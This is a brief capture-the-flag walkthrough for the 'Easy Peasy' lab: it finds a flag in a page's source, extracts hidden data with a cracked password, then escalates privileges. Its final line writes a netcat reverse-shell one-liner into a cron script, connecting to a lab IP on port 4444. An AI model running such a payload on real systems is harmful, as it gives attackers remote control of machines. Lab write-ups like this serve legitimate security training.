Easy Peasy

Easy Peasy

🔍 Initial Discovery

💻 Let’s check the source of the page:

view-source:http://10.49.169.155:65524/n0th1ng3ls3m4tt3r/

🚩 Found flag 3!

🕵️ Extracting the Hidden Path

💡 Remember the hidden path containing a binary image? I extracted the data from it using the password of that hash:

⚡ Privilege Escalation

📌 I set up a malicious script in the secret cron job path:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.49.106.140 4444 >/tmp/f' > /var/www/.mysecretcronjob.sh